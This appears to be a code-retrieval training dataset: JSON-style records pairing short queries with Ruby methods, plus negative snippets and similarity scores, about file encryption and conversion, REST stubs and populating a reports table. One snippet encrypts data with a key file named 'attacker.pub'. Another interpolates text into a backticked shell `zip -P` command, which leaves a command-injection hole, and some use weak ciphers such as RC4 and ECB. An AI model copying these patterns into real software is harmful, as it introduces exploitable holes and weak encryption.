"def convert_local_file input_file,output_filename,output_format\n begin\n \n if input_file == ''\n raise('input file not specified')\n end \n \n if output_filename == ''\n raise('output file not specified')\n end\n \n if output_format == ''\n raise('output format not specified')\n end\n \n if not File.exist?(input_file)\n raise(\"input file doesn't exist.\")\n end\n \n \n \n str_uri = $product_uri + '/pdf/convert?format=' + output_format\n str_signed_uri = Aspose::Cloud::Common::Utils.sign(str_uri)\n \n response_stream = Aspose::Cloud::Common::Utils.upload_file_binary(input_file, str_signed_uri) \n \n valid_output = Aspose::Cloud::Common::Utils.validate_output(response_stream)\n \n if valid_output == ''\n \n if output_format == 'html'\n save_format = 'zip'\n else\n save_format = output_format\n end\n \n if output_filename == ''\n output_filename = Utils::get_filename(input_file) + '.' + save_format\n end\n \n output_path = $out_put_location + output_filename\n Aspose::Cloud::Common::Utils.save_file(response_stream,output_path)\n return ''\n else\n return valid_output\n end\n \n rescue Exception=>e\n print e \n end \n end",
"def decrypt\n unless @encrypted_data.blank?\n plaintext_data\n end\n end",
"def validate\n encrypt\n end",
"def decrypt\n self\n end",
"def transform_file\n @transform_file ||= File.join(staging_dir, \"doc-transform\")\n end",
"def update\n respond_to do |format|\n if @encrypted_file.update(encrypted_file_params)\n format.html { redirect_to @encrypted_file, notice: 'Encrypted file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @encrypted_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def child_get_string_encrypted(name, key = nil)\n if (key == nil)\n key = DEFAULT_KEY\n end\n if (key.length != 16)\n abort(\"Invalid key, key length sholud be 16\")\n end\n value = child_get_string(name)\n value_array = value.lines.to_a\n plaintext = RC4(key, value_array.pack('H*'))\n plaintext\n end",
"def decrypt_file(keyphrase)\n # Open input file\n file_in_handle = open_in_file @file_in_path\n file_in_handle.seek FILE_HEADER_BYTES\n\n # Convert key in binary\n keyphrase_bin = [keyphrase].pack('H*')\n crypto = Mcrypt.new(:'blowfish-compat', :ecb, keyphrase_bin)\n\n # Open output file and begin with decryption\n file_out_handle = open_out_file @file_out_path\n begin\n while (data = file_in_handle.readpartial(BUFFER_SIZE))\n if data.length < BUFFER_SIZE\n # End of data\n # Write decrypted blocks\n last_block_size = data.length - (data.length % 8)\n file_out_handle.write(crypto.decrypt(data[0...last_block_size]))\n # Write padding unencrypted\n file_out_handle.write(data[last_block_size..-1])\n else\n # Full block read\n file_out_handle.write(crypto.decrypt(data))\n end\n end\n rescue EOFError\n # Okay, read to the end\n ensure\n file_in_handle.close\n file_out_handle.close\n end\n end",
"def readable?\n transient? || (filename && filename.readable?)\n end",
"def deconstruct_and_write_xml(old_filename, new_filename)\r\n\r\n\t\t\tif File.exists?(old_filename)\r\n\t\t\t\tenc_file = ''\r\n\t\t\t\tenc_file = IO.read(old_filename).to_s\r\n\t\t\t\tcontent = get_xml enc_file\r\n\t\t\t\tFile.open(new_filename, \"w\") { |f| f.write(content) }\r\n\t\t\telse\r\n\t\t\t\tputs \"File does not exist!\"\r\n\t\t\t\treturn nil\r\n\t\t\tend\r\n\r\n\t\tend",
"def encode_file(filename, format, options = T.unsafe(nil)); end",
"def create\n @encrypted_file = EncryptedFile.new(encrypted_file_params)\n\n respond_to do |format|\n if @encrypted_file.save\n format.html { redirect_to @encrypted_file, notice: 'Encrypted file was successfully created.' }\n format.json { render action: 'show', status: :created, location: @encrypted_file }\n else\n format.html { render action: 'new' }\n format.json { render json: @encrypted_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ca_file; end",
"def ca_file; end",
"def encode_string_as_password_protected_old_zip_based(encryptable_portion, pass = nil)\n pish = @password \n pish = pass unless pass.nil?\n \n supress_errors = \"2>/dev/null\"\n # this will read that file... let's try passing it in from stdin pipes though\n # alt = \"zip -P '#{pish}' - #{@@clear_text_path}\"\n \n # TODu: escape single quotes or this command breaks... \n raise \"tried to encrypt an encryptable_portion which contained illegal character ' which would break the command being piped to zip\" if encryptable_portion =~ /\\'/ \n # passing in clear_text through pipes\n alt = \"echo '#{encryptable_portion}'| zip -P '#{pish}' - - #{supress_errors}\"\n #alt = \"echo '#{encryptable_portion.gsub(\"\\\\n\", \"\")}'| zip -P '#{pish}' - -\"\n\n binary_output = `#{alt}`\n end",
"def explicit_transcode(filename, from_encoding, to_encoding)\n puts ''\n puts `file test_files/#{filename}`\n puts \"transcoding from #{from_encoding.name} to #{to_encoding.name}\"\n\n file_str = read_file(filename)\n encoded_str = file_str.force_encoding(from_encoding).encode!(Encoding::UTF_8, from_encoding)\n\n puts encoded_str\n puts 'valid encoding: ' + encoded_str.valid_encoding?.to_s\n puts ''\nend",
"def encrypt(data)\n\t\t# The limit of the encryption scheme is 235 bytes, so if the string is longer than that we need to limit it\n\t\tif data.length > 234\n\t\t\tdata = data[0..234] + \"\\n\"\n\t\tend\n\n\t\tkey = OpenSSL::PKey::RSA.new File.read '../keys/attacker.pub'\n\t\treturn key.public_key.public_encrypt(data)\n\tend",
"def content\n Rot13.rotate(@train_file.content)\n end",
"def data\n exist!\n begin\n data = File.read @path\n data = @encrypter.decrypt(data) if encrypt?\n YAML.load data\n rescue Psych::SyntaxError\n raise EntrySyntaxError\n end\n end",
"def decrypt(content_entry, cipher)\n # Zip::Entry.extract writes a 0-length file when trying\n # to extract an encrypted stream, so we read the\n # raw bytes based on the offset and lengths\n decrypted = ''\n File.open(@filename, 'rb') do |zipfile|\n zipfile.seek(\n content_entry.local_header_offset +\n content_entry.calculate_local_header_size\n )\n total_to_read = content_entry.compressed_size\n\n block_size = 4096\n block_size = total_to_read if block_size > total_to_read\n\n while (buffer = zipfile.read(block_size))\n decrypted += cipher.update(buffer)\n total_to_read -= buffer.length\n\n break if total_to_read == 0\n\n block_size = total_to_read if block_size > total_to_read\n end\n end\n\n decrypted + cipher.final\n end",
"def translate(src_lang, target_lang, output_file)\n # Check if a non empty output file is present and error out to avoid\n # the danger or overwriting some important file !!\n if File.exists?(output_file) && File.size(output_file) > 0\n raise InvalidInputException.new(\"Output file #{output_file} is not empty.\")\n else\n # Just open the file in writable mode and close it just to ensure that\n # we can write the output file\n File.open(output_file, \"w\") {|f|\n }\n end\n # Check if the file is writable ?\n unless File.writable?(output_file)\n raise InvalidInputException.new(\"Output file #{output_file} not writable.\")\n end\n # Further checks can be done only in caption specific implementations\n # or translation engine specific implementation\n end",
"def fix_exif_rotation\n return unless self.file.content_type.start_with? 'image'\n \n manipulate! do |img|\n img.tap(&:auto_orient)\n img = yield(img) if block_given?\n img\n end\n end",
"def run_me\n bucket_name = 'doc-example-bucket'\n object_key = 'my-file.txt'\n object_content = 'This is the content of my-file.txt.'\n region = 'us-west-2'\n s3_client = Aws::S3::Client.new(region: region)\n\n if upload_file_encrypted_aes256_at_rest?(\n s3_client,\n bucket_name,\n object_key,\n object_content\n )\n puts 'File uploaded and encrypted.'\n else\n puts 'File not uploaded.'\n end\nend",
"def convert\n # TODO: implementation\n output_file = choose_output\n return if output_file.nil?\n Converter.translate(@file, output_file)\n log(\"File conversion finished\")\n end",
"def encryption_required?\n super\n end",
"def characterize(save: true)\n [:original_file, :intermediate_file, :preservation_file].each do |type|\n target_file = @file_set.try(type)\n next unless target_file\n @file_object = Valkyrie::StorageAdapter.find_by(id: target_file.file_identifiers[0])\n next unless image_valid?\n new_file = target_file.new(file_characterization_attributes.to_h)\n @file_set.file_metadata = @file_set.file_metadata.select { |x| x.id != new_file.id } + [new_file]\n end\n @file_set = persister.save(resource: @file_set) if save\n @file_set\n end",
"def output \n\tFile.open(\"#{@file_out}\", \"w+\") do |f|\n\t f.puts \"#{@encrypted_text}\"\n\tend \nend",
"def fix_exif_rotation\n manipulate! do |img|\n img.auto_orient\n img = yield(img) if block_given?\n img\n end\n end",
"def fix_exif_rotation\n manipulate! do |img|\n img.auto_orient\n img = yield(img) if block_given?\n img\n end\n end",
"def encrypted_object_uploaded?(\r\n s3_client,\r\n bucket_name,\r\n object_key,\r\n encrypted_object_content\r\n)\r\n s3_client.put_object(\r\n bucket: bucket_name,\r\n key: object_key,\r\n body: encrypted_object_content\r\n )\r\n return true\r\nrescue StandardError => e\r\n puts \"Error uploading object: #{e.message}\"\r\n return false\r\nend"
] |
[
"0.6493421",
"0.6412665",
"0.63822883",
"0.61049557",
"0.60796547",
"0.5963469",
"0.5852251",
"0.5852251",
"0.5851009",
"0.5799186",
"0.576298",
"0.5683427",
"0.56497097",
"0.5620898",
"0.5613746",
"0.5590169",
"0.5537592",
"0.55332536",
"0.55025697",
"0.5482787",
"0.5467161",
"0.5444586",
"0.5411222",
"0.5348563",
"0.5334076",
"0.52529466",
"0.5241245",
"0.5228533",
"0.5228533",
"0.5202835",
"0.52021444",
"0.5199992",
"0.51988417",
"0.51904416",
"0.51904416",
"0.5176326",
"0.51697963",
"0.51695067",
"0.5160197",
"0.5151816",
"0.5141465",
"0.51170886",
"0.51169235",
"0.5115153",
"0.5114784",
"0.50858593",
"0.5075959",
"0.50737953",
"0.5071491",
"0.5067268",
"0.5064648",
"0.504691",
"0.50464225",
"0.50393635",
"0.5037038",
"0.5034475",
"0.5021788",
"0.50064397",
"0.4992247",
"0.49888238",
"0.49759158",
"0.4975051",
"0.49732423",
"0.49716392",
"0.49487865",
"0.49485254",
"0.49402028",
"0.4928646",
"0.49272972",
"0.49139082",
"0.4906694",
"0.49002618",
"0.4895615",
"0.48946673",
"0.48909557",
"0.48841697",
"0.48820215",
"0.48792306",
"0.48711997",
"0.48699242",
"0.48477656",
"0.48394507",
"0.48337114",
"0.48337114",
"0.4833302",
"0.48237225",
"0.48086676",
"0.4797967",
"0.47965205",
"0.47945768",
"0.47916472",
"0.4776685",
"0.4774809",
"0.47717735",
"0.47662306",
"0.47644186",
"0.47567636",
"0.47494698",
"0.47468328",
"0.47460017"
] |
0.5301803
|
25
|
you must have this method for the restful server to work correctly
|
def next_messages_id
messages.max{|a,b| a[:id] <=> b[:id]}[:id] + 1
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rest_endpoint; end",
"def rest_end_point; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def request; end",
"def endpoint; end",
"def endpoint; end",
"def endpoint; end",
"def endpoint; end",
"def http; end",
"def GET; end",
"def preflight; end",
"def api; end",
"def api; end",
"def get; end",
"def rest_endpoint=(_arg0); end",
"def apis; end",
"def request\n raise 'need to be implemented'\n end",
"def req\n \n end",
"def get\n end",
"def POST; end",
"def endpoints; end",
"def client; end",
"def client; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def server; end",
"def get\n end",
"def resource; end",
"def respond(); end",
"def client_access\n super\n end",
"def server\n super\n end",
"def server\n super\n end",
"def set_request; end",
"def parent_api; end",
"def parent_api; end",
"def send_request; end",
"def handle_request( * ) # :nodoc:\n\t\tself.log.debug \"[:restresources] handling request for REST resource.\"\n\t\tsuper\n\tend",
"def remote; end",
"def rest\n @rest ||= Chef::ServerAPI.new(server.root_url, {:api_version => \"0\"})\n end",
"def raw_response; end",
"def router; end",
"def clientserver\n end",
"def endpoint\n raise StandardError, 'Please implement this method.'\n end",
"def endpoint\n raise StandardError, 'Please implement this method.'\n end",
"def post; end",
"def index\n @node = Fedora.rest('rest/')\n end",
"def rest_token_endpoint; end",
"def consume_rest; end",
"def request(*args); end",
"def service_endpoint; end",
"def service_endpoint; end",
"def request_method; end",
"def client\n end",
"def request_data; end",
"def api_only; end",
"def api_only; end",
"def api_only; end",
"def preflight\n head 200\n end",
"def rest?\n false\n end",
"def respond\n end",
"def request(*args)\n end",
"def service; end",
"def rest_request(verb, url, data)\n if Rails.env.production?\n rest_production(verb, url, JSON.generate(data))\n else\n log_info(\"[#{Rails.env}]: #{verb} #{url}\", 200)\n end\n rescue RestClient::Exception => e\n log_error \"Failed with #{e.http_code}: #{e}\\n#{e.response}\", e.http_code\n end",
"def from_api?; false end",
"def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend",
"def interface\n respond_to do |format|\n format.json {}\n end\n end",
"def resources; end",
"def resources; end",
"def index\n @servers = getmydata(\"Server\")\n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"def post_request\n\t\turl = request.fullpath.gsub(\"/api\", \"\")\n\t\t@rr = Rr.where(\"url = ?\", url).first\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => rr.response}\n\t\t\tformat.xml { render :xml => @rr.response}\n\t\t\tformat.js { render :js => @rr.response}\n\t\tend\n\tend",
"def get_endpoint()\n end",
"def security_server_client\n end",
"def get()\n \n end",
"def resource\n\n end"
] |
[
"0.73777914",
"0.7216175",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.69108343",
"0.68859977",
"0.68859977",
"0.68859977",
"0.68859977",
"0.6837594",
"0.6796331",
"0.67017716",
"0.668407",
"0.668407",
"0.66759676",
"0.6607345",
"0.6449802",
"0.6434087",
"0.6418617",
"0.63566786",
"0.6351253",
"0.6350888",
"0.62788",
"0.62788",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62714744",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62572104",
"0.62016404",
"0.61989397",
"0.6173452",
"0.61717373",
"0.61378616",
"0.61378616",
"0.6130326",
"0.6108398",
"0.6108398",
"0.6062745",
"0.60467476",
"0.60313654",
"0.60258234",
"0.6024288",
"0.6018732",
"0.60077834",
"0.599024",
"0.599024",
"0.59811246",
"0.5977663",
"0.59644616",
"0.5952491",
"0.5951749",
"0.5946665",
"0.5946665",
"0.5920816",
"0.5919828",
"0.5899775",
"0.5897253",
"0.5897253",
"0.5897253",
"0.58898664",
"0.5886871",
"0.5877473",
"0.5857087",
"0.5854916",
"0.5838376",
"0.5826849",
"0.5822176",
"0.58091336",
"0.58011633",
"0.58011633",
"0.5795813",
"0.5795679",
"0.57928765",
"0.5786882",
"0.57789004",
"0.5769071"
] |
0.0
|
-1
|
=begin Populate the reports table =end
|
def add_report(database, hash)
sql = "INSERT INTO reports(reporter_name, reporter_state, reporter_phone, hero_seen, suspect_name, powers_displayed) VALUES (?,?,?,?,?,?)"
database.execute(sql, [ hash["reporter_name"], hash["reporter_state"], hash["reporter_phone"], hash["hero_seen"], hash["suspect_name"], hash["powers_displayed"]])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def generate_report\n validate_required_fields\n @report = []\n @report << header\n\n (number_of_intervals - 1).times do |row|\n @report << build_row(row)\n end\n @report\n end",
"def create_report\n\tcreate_rep_heading\n \tcreate_product_data\n \tcreate_brand_data\nend",
"def reports_collection\n report_tables = select_tables(REPORT_TITLE)\n\n report_tables.map do |report_table|\n report_builder(report_table)\n end\n end",
"def populate_reports\n\t\tauthor_id \t\t= [*1..40].sample\n\t\tsummary \t\t= Faker::Lorem.sentences(3).join(' ')\n\t\treason \t\t\t= [*0..4].sample # enum\n\t\t\n\t\t# Report on other users\n\t\tusers = User.limit(5)\n\t\tusers.each do |u|\n\t\t\tu.reports_received.create!(author_id: author_id, reason: reason, summary: summary)\n\t\tend\n\n\t\t# Report on other services\n\t\tservices = Service.limit(5)\n\t\tservices.each do|s|\n\t\t\ts.reports_received.create!(author_id: author_id, reason: reason, summary: summary)\n\t\tend\n\tend",
"def set_report\n end",
"def setup\n current_user = options[:currentuser]\n all_flag = options[:allflag]\n if current_user.percentcompleteenabled\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date, :percentcomplete]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n \n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\",\n :percentcomplete => \"Percent Complete\")\n\n else\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n\n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\")\n\n \n end\n\n self.data = table\n end",
"def create_report\n print_sales_report_ASCII\n print_date\n print_products_ASCII\n print_brands_ASCII\n end",
"def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end",
"def create_new_report!; end",
"def create_new_report!; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report; end",
"def report\n\t\tend",
"def report\n \n end",
"def update_reports\n\n\t\tremove_reports\n\n\t\texisting_report_ids = self.reports.map{|c|\n\t\t\tc.id.to_s\n\t\t}\n\n\t\t## after this the quantity issue\n\t\t## and then the test verification toggles, textual inference, and report generation ->\n\t\t## so only if the order is finalized, then \n\t\t## now the worth processing.\n\t\t## local item group\n\t\t## organization from \n\n\t\tself.template_report_ids.each do |r_id|\n\t\t\t#puts \"doing template report id: #{r_id}\"\n\t\t\tunless existing_report_ids.include? r_id\n\t\t\t\ttx = Time.now\n\t\t\t\tself.finalize_order = NO\n\t\t\t\t## unfinalize the order\n\t\t\t\t## \n\t\t\t\t## get teh report raw hash.\n\t\t\t\t## get rid of the non-applicable ranges\n\t\t\t\t## and only then initialize the object.\n\t\t\t\t## that will make it much faster.\n\t\t\t\treport = Diagnostics::Report.find(r_id)\n\t\t\t\t\n\t\t\t\tty = Time.now\n\t\t\t\tputs \"time to get report: #{(ty - tx).in_milliseconds}\"\n\t\t\t\treport.created_by_user = User.find(report.created_by_user_id)\n\t\t\t\treport.current_user = self.current_user\n\t\t\t\ttz = Time.now\n\t\t\t\tputs \"time to get created by user: #{(tz - ty).in_milliseconds}\"\n\t\t\t\treport.run_callbacks(:find)\n\t\t\t\tt1 = Time.now\n\t\t\t\tputs \"time to run callbacks: #{(t1 - tz).in_milliseconds}\"\n\t\t\t\treport.prune_test_ranges(self.patient)\n\t\t\t\tt2 = Time.now\n\t\t\t\tputs \"prune ranges took: #{(t2-t1).in_milliseconds}\"\n\t\t\t\tself.reports << report\n\t\t\t\tself.order_completed = NO\n\t\t\tend\n\t\tend\n\tend",
"def init_report\n raise if @report.new_record?\n \n # if not a new record, run it and record viewing\n @report.record_viewing\n \n return run_and_handle_errors\n end",
"def emp_report\n \n end",
"def build_report_body\n draw_table(data, :width => 700)\n end",
"def build_report_body\n draw_table(data, :width => 600)\n end",
"def create_report()\n $report_file.truncate(0)\n print_date()\n brands = create_brands_hash()\n toys = create_products_hash()\n print_products_ascii()\n print_toys_hash(toys)\n print_brands_ascii()\n print_brands_hash(brands)\n $report_file.close\nend",
"def seed_db\n @records.each do |row|\n $db.execute(\n \"INSERT INTO records\n (report_type, patient_name, service_from, service_thru, paid_date, hic_num, gross_reimb, cash_deduct, blood_deduct, coins, net_reimb)\n VALUES\n ('#{record.report_type}', '#{record.patient_name}', '#{record.service_from}', '#{record.service_thru}', '#{record.paid_date}', '#{record.hic_num}', '#{record.gross_reimb}', '#{record.cash}', '#{record.blood_deduct}', '#{record.coins}', '#{record.net_reimb}');\")\n end\n end",
"def create_global_report\n super\n end",
"def generate_new_hire_report\n lines = []\n\n column_titles = [\n 'Social Security Number',\n 'Name - Last',\n 'Name - First',\n 'Gender',\n 'Date of Birth',\n 'Date of Hire - Original',\n 'Date of Rehire',\n 'Termination Date',\n 'Address - Street 1',\n 'Address - Street 2',\n 'Address - City',\n 'Address - State',\n 'Address - Postal Code',\n 'Division ID',\n 'Pre-tax Deferral',\n 'Roth Amount',\n 'Matching Amount',\n 'Matching Safe Harbor',\n 'Profit Sharing',\n 'Non Elective Safe Harbor',\n 'Plan Compensation',\n 'Current Hours',\n 'Marital Status',\n 'Loan Payments',\n 'Internet Address - Other',\n 'PARTICIPANTID'\n ]\n lines.push(column_titles.join(','))\n\n plan_symlink = @config.plan.symlink\n plan = Plan.where('symlink = ?', plan_symlink).first\n @new_employees.each do |employee|\n date_of_birth = employee[RecordField::DATE_BIRTH]\n if date_of_birth.present? && date_of_birth.is_a?(Date)\n date_of_birth = DateUtils.to_string(date_of_birth)\n else\n date_of_birth = ''.to_date\n end\n participant = participant_mapping(plan.id, employee, date_of_birth)\n next if participant.nil?\n\n calculate_assumed_hour = Plan.calculate_assumed_hour(employee, plan.id)\n hours = plan.assumed_hours_setting ? calculate_assumed_hour : employee[RecordField::HOURS_REGULAR]\n cells = [\n (employee[RecordField::SSN] || '').gsub(/[^\\d]/, ''),\n employee[RecordField::NAME_LAST],\n employee[RecordField::NAME_FIRST],\n employee[RecordField::GENDER] || '',\n employee[RecordField::DATE_BIRTH] || ' ',\n employee[RecordField::DATE_HIRE] || ' ',\n employee[RecordField::DATE_REHIRE] || ' ',\n employee[RecordField::DATE_TERMINATION] || ' ',\n employee[RecordField::ADDRESS_STREET_1],\n employee[RecordField::ADDRESS_STREET_2],\n employee[RecordField::ADDRESS_CITY],\n employee[RecordField::ADDRESS_STATE],\n employee[RecordField::ADDRESS_POSTAL_CODE],\n employee[RecordField::DIVISION_ID],\n employee[RecordField::AMOUNT_CONTRIBUTION_TRADITIONAL],\n employee[RecordField::AMOUNT_CONTRIBUTION_ROTH],\n employee[RecordField::AMOUNT_MATCH],\n employee[RecordField::AMOUNT_MATCH_SAFE_HARBOR],\n employee[RecordField::AMOUNT_PROFIT_SHARING],\n employee[RecordField::AMOUNT_NON_ELECTIVE_SAFE_HARBOR],\n employee[RecordField::AMOUNT_PAY_GROSS],\n hours,\n employee[RecordField::MARITAL_STATUS],\n employee[RecordField::AMOUNT_LOAN_PAYMENTS],\n employee[RecordField::EMAIL] || ' ',\n participant.try(:id)\n ]\n lines.push(cells.join(','))\n end\n\n return lines.join(\"\\n\")\n end",
"def setup\n current_user = options[:currentuser]\n all_flag = options[:allflag]\n if current_user.percentcompleteenabled\n table = Table([:description, :category_label, :created_date, :last_updated_date, :percentcomplete]) do |t|\n if all_flag\n current_user.tasks.find(:all).each {|u| t << u.report_record() }\n else\n completed_category = current_user.category.find(:all, :conditions => [\n \"label = 'Completed'\"\n ])\n current_user.tasks.find(:all).each {|u| t << u.report_record unless u.category_id == completed_category[0].id}\n end\n end\n table.rename_columns(:description => \"Description\",\n :category_label => \"Task Category\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\",\n :percentcomplete => \"Percent Complete\")\n else\n table = Table([:description, :category_label, :created_date, :last_updated_date]) do |t|\n if all_flag\n current_user.tasks.find(:all).each {|u| t << u.report_record() }\n else\n completed_category = current_user.category.find(:all, :conditions => [\n \"label = 'Completed'\"\n ])\n current_user.tasks.find(:all).each {|u| t << u.report_record unless u.category_id == completed_category[0].id}\n end\n end\n table.rename_columns(:description => \"Description\",\n :category_label => \"Task Category\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\")\n end\n \n self.data = table\n end",
"def index\n @reports = Report.all\n # @reports = Array.new\n end",
"def setup_summary_report\n assign_to_from_dates\n @filter = @filter.remove_blanks_in_arrays\n @filter_name = @filter[:name]\n assign_grouping_type\n assign_facilities\n end",
"def build_report_body\n #@output << erb(RAILS_ROOT + \"/app/views/reports/_users.html.erb\") \n pad(10) do\n add_text usernotes\n end\n if timespan == \"Daily\" \n add_text \"Current Tasks and Tasks Modified in the last Day\"\n elsif timespan == \"Weekly\"\n add_text \"Current Tasks and Tasks Modified in the last Week\"\n else\n add_text \"Current Tasks\"\n end\n pad(10) do\n draw_table(data, :width => 600)\n end\n if timespan == \"Daily\" \n add_text \"Current Goals and Goals Modified in the last Day\"\n elsif timespan == \"Weekly\"\n add_text \"Current Goals and Goals Modified in the last Week\"\n else\n add_text \"Current Goals\"\n end\n pad(10) do\n draw_table(goaldata, :width => 600)\n end\n end",
"def set_fields\n @screen = session.active_screen\n @report = Report.find(params[:id])\n\n params[:report] ||= {}\n params[:report][:fields] ||= []\n\n org_field_report = @report.fields_reports\n new_field_reports = params[:report][:fields]\n\n #remove not exist in new\n rem_field_report_ids = org_field_report.collect{|fr| fr.id}.compact - new_field_reports.collect{|f_r| f_r[:field_report_id].to_i unless f_r[:field_report_id].empty?}.compact\n org_field_report.each do |fr|\n fr.destroy if rem_field_report_ids.include?(fr.id)\n end unless rem_field_report_ids.empty?\n\n # merge field_report\n new_field_reports.each_with_index do |f_r, idx|\n f_r[:seq_no] = idx\n f_r['formula'] = YAML::load(f_r['formula'].gsub('^n',\"\\n\")) unless f_r['formula'].empty?\n field_report_id = f_r.delete(:field_report_id).to_i\n if field_report_id == 0\n f_r['percentage_weight'] = {'-1' => 'false'}\n \n @report.fields_reports << FieldsReport.new(f_r)\n else\n field_report = FieldsReport.find(field_report_id)\n field_report.update_attributes(f_r)\n end\n end\n\n ht_report = {}\n ht_report[:cell_location] = params[:report][:cell_location]\n \n @report.update_attributes(ht_report)\n end",
"def reporting_data\r\n\r\n report_sid = params[:report].blank? ? \"count_of_table_sid_by_field_sid\" : params[:report]\r\n render(:nothing => true) and return if report_sid.blank?\r\n opts = (params[:report_options] || {}).reject{|k,v| v.blank?}\r\n opts[:format] ||= params[:format]\r\n r = AccessReport.make_report(report_sid, opts)\r\n r[:title][:style] = r[:title][:style].tr(',', ';').gsub('colour', 'color') if r && r[:title] && r[:title][:style]\r\n @report = r\r\n respond_to do |format|\r\n format.json { render :json => @report }\r\n format.html { render :text => @report }\r\n end\r\n end",
"def run\n schedule_data_reports\n end",
"def set_all_report\n @all_report = AllReport.find(params[:id])\n end",
"def create\n @screen = session.active_screen\n @report = Report.new(params[:report])\n @report.reference_screen_alias = []\n @report.reference_screen_outer_joins = []\n @report.reference_screens.each do |s|\n a = s.label_descr.gsub(/[^A-Z]/,'').downcase\n a << \"_#{@report.reference_screen_alias.select{|x| x =~ Regexp.new(\"(^#{a}$|^#{a}_[0-9]+$)\") }.length}\" if @report.reference_screen_alias.include?(a)\n @report.reference_screen_alias << a\n @report.reference_screen_outer_joins << {'-1' => false}\n end\n\n @report.cell_location = 'col'\n\n @report.save\n end",
"def build_report\n first_page\n second_page\n third_page\n fourth_page\n fifth_page\n sixth_page\n seventh_page\n eighth_page\n ninth_page\n end",
"def set_statisticreport\n @statisticreport = Statisticreport.all\n end",
"def index\n @reports = Report.where('owner_id = ?', current_user.id).order(creation_date: :desc)\n @dates = @reports.distinct.pluck(:creation_date)\n\n @finalReports = []\n @dates.each do |date|\n reportAux = @reports.where('creation_date = ?', date)\n burnedCaloriesAux = 0\n consumedCaloriesAux = 0\n diferenceAux = 0\n typeAux = nil\n dateAux = nil\n reportAux.each do |reporte|\n burnedCaloriesAux = burnedCaloriesAux + reporte.burnedCalories\n consumedCaloriesAux = consumedCaloriesAux +reporte.consumedCalories\n end\n diferenceAux = consumedCaloriesAux - burnedCaloriesAux\n if diferenceAux > 0\n typeAux = 'Caloric Surplus'\n elsif diferenceAux <0\n typeAux = 'Caloric Deficit'\n else\n typeAux = 'Balance'\n end\n report = Report.new(burnedCalories: burnedCaloriesAux, consumedCalories: consumedCaloriesAux,creation_date:date, diference: diferenceAux, diference_value: typeAux)\n @finalReports.unshift(report)\n end\n @finalReports =@finalReports.sort_by{|x| [Date.today - x.creation_date]}\n @finalReports = @finalReports.paginate(page: params[:page], per_page: 10)\n return @finalReports\n end",
"def add_report_values\n\t\tunless self.patient.blank?\n\t\t\tself.reports.map{|report|\n\t\t\t\tif report.consider_for_processing?(self.history_tags)\n\t\t\t\t\treport.tests.map{|test|\n\t\t\t\t\t\ttest.add_result(self.patient,self.history_tags) \n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\t}\n\t\tend\n\tend",
"def populate\n end",
"def populate\n\n end",
"def index\n @dynamic_reports = DynamicReport.all\n end",
"def report_load\n self.report('load_report')\n end",
"def call\n all_cached_data.report_data_for(report_range)\n end",
"def build_summary_annual_report(weeks)\n #weeks = Week.tax_year(tax_year).order(:id)\n self.net_sales = DispenserPeriodNet.create(weeks.first, weeks.last)\n self.fuel_detail = FuelDeliveryDetail.for_range_of_weeks_sales(weeks.first, weeks.last)\n self.grade_profit = GradeProfit.create(net_sales, fuel_detail)\n end",
"def cop_reports=(_); end",
"def set_people_reports\n @people_reports = Report.select{ |c| c.category== \"HR\"}\n end",
"def plsc_report\n #Initial coding done by John Evans this will return 4 columns from the User table\n @data = User.find(:all , :select => \"id as id, name as name, c_type as type, zipcode as zipcode\", :group => \"id\")\n end",
